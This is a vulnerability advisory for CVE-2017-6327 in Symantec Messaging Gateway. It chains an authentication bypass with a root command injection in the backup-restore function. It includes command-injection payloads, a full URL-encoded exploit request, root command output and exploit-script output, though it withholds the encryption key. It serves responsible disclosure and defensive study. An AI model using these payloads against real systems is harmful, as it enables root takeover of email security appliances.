This is an advisory for CVE-2017-6327 which is an unauthenticated remote code execution flaw in the web interface of Symantec Messaging Gateway prior to and including version 10.6.3-2, which can be used to execute commands as root. Symantec Messaging Gateway, formerly known as Brightmail, is a linux-based anti-spam/security product for e-mail servers. It is deployed as a physical device or with ESX in close proximity to the servers it is designed to protect. =*=*=*=*=*=*=*=*= TIMELINE 2017-07-07: Reported to Symantec 2017-08-10: Patch and notice released by Symantec [1] 2017-08-18: Public technical advisory =*=*=*=*=*=*=*=*= DESCRIPTION - Bug #1: Web authentication bypass The web management interface is available via HTTPS, and you can't do much without logging in. If the current session (identified by the `JSESSIONID` cookie) has the `user` attribute set, the session is considered authenticated. The file LoginAction.class defines a number of public methods and they can all be reached via unauthenticated web requests. By making a GET request to `/brightmail/action1.do?method=method_name` we can execute `LoginAction.method_name` if `method_name` is a public method. One such public method which will be the target of our authentication bypass is called `LoginAction.notificationLogin`. It does the following: 1. Decrypt the `notify` parameter using `BrightmailDecrypt.decrypt` 2. Creates a new `UserTO` object using the decrypted `notify` parameter as an email value 3. Creates a new session, invalidating the old one if necessary 4. Sets the `user` attribute of the newly created session to our constructed UserTO object It essentially takes a username value from a GET parameter and logs you in as this user if it exists. If not, it creates this user for you. We need to encrypt our `notify` argument so that `BrightmailDecrypt.decrypt` will decrypt it properly. Fortunately the encryption is just PBEWithMD5AndDES using a static password, conveniently included in the code itself. I won't include the encryption password or a fully encrypted notify string in this post. Example request: GET /brightmail/action1.do?method=notificationLogin&notify=MTIzNDU2Nzg%3d6[...]&id=test HTTP/1.1 ... HTTP/1.1 302 Found Server: Apache-Coyote/1.1 ... Set-Cookie: JSESSIONID=9E45E9F70FAC0AADAC9EB7A03532F65D; Path=/brightmail; Secure; HttpOnly - Bug #2: Command injection The RestoreAction.performRestore method can be reached with an authenticated session and it takes the restoreSource and localBackupFilename parameters. After a long chain of function calls, localBackupFilename ends up being sent to the local "bmagent" daemon listening on port 41002. It will execute /opt/Symantec/Brightmail/cli/bin/db-restore with argv[1] being our supplied value. The db-restore script is a sudo wrapper for /opt/Symantec/Brightmail/cli/sbin/db-restore, which in turn is a perl script containing a command injection in a call to /usr/bin/du. $ /opt/Symantec/Brightmail/cli/bin/db-restore 'asdf;"`id`";' /usr/bin/du: cannot access `/data/backups/asdf': No such file or directory sh: uid=0(root) gid=0(root) groups=0(root): command not found ERROR: Failed to copy 'asdf;"`id`";' from local backup store: No such file or directory This command injection can be exploited from the web management interface with a valid session, which we can create using bug #1. - Combining bug #1 and #2 The last step is to get a CSRF token since the vulnerable performRestore function is annotated with @CSRF. After some quick digging it turns out that all you need to do is call /brightmail/common.jsp to get a token that will be valid for all your requests. The URL-encoded value we provide for the `localBackupFileSelection` parameter is: asdf`id>/data/bcc/webapps/brightmail/output.txt;/bin/uname -a>>/data/bcc/webapps/brightmail/output.txt`hehehe Request: GET /brightmail/admin/restore/action5.do?method=performRestore&symantec.brightmail.key.TOKEN=bbda9b0a52bca4a43cc2b6051cd6b95900068cd3&restoreSource=APPLIANCE&localBackupFileSelection=%61%73%64%66%60%69%64%3e%2f%64%61%74%61%2f%62%63%63%2f%77%65%62%61%70%70%73%2f%62%72%69%67%68%74%6d%61%69%6c%2f%6f%75%74%70%75%74%2e%74%78%74%3b%2f%62%69%6e%2f%75%6e%61%6d%65%20%2d%61%3e%3e%2f%64%61%74%61%2f%62%63%63%2f%77%65%62%61%70%70%73%2f%62%72%69%67%68%74%6d%61%69%6c%2f%6f%75%74%70%75%74%2e%74%78%74%60%68%65%68%65%68%65 HTTP/1.1 Host: 192.168.205.220 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Cookie: JSESSIONID=34D61B34698831DB765A9DD5E0049D0B Connection: close Upgrade-Insecure-Requests: 1 Response: HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: no-store,no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT X-Frame-Options: SAMEORIGIN Content-Type: text/html;charset=UTF-8 Content-Length: 803 Date: Thu, 29 Jun 2017 06:48:12 GMT Connection: close <HTML> <title>Symantec Messaging Gateway -&nbsp;Restore</title> ... Now to confirm that our command output was correctly placed in a file inside the webroot. imac:~% curl -k https://192.168.205.220/brightmail/output.txt uid=0(root) gid=0(root) groups=0(root) Linux localhost.localdomain 2.6.32-573.3.1.el6.x86_64 #1 SMP Thu Aug 13 22:55:16 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux =*=*=*=*=*=*=*=*= EXPLOIT OUTPUT imac:~/brightmail% python brightmail-rce.py https://192.168.205.220/brightmail bypassing login.. * JSESSIONID=693079639299816F80016123BE8A0167 verifying login bypass.. * Version: 10.6.3 getting csrf token.. * 1e35af8c567d3448a65c8516a835cec30b6b8b73 done, verifying.. uid=501(bcc) gid=99(nobody) euid=0(root) egid=0(root) groups=0(root),99(nobody),499(mysql),502(bcc) Linux localhost.localdomain 2.6.32-573.3.1.el6.x86_64 #1 SMP Thu Aug 13 22:55:16 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux # cat /etc/issue Symantec Messaging Gateway Version 10.6.3-2 Copyright (c) 1998-2017 Symantec Corporation. All rights reserved. =*=*=*=*=*=*=*=*= REFERENCES [1] https://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20170810_00 =*=*=*=*=*=*=*=*= CREDIT Philip Pettersson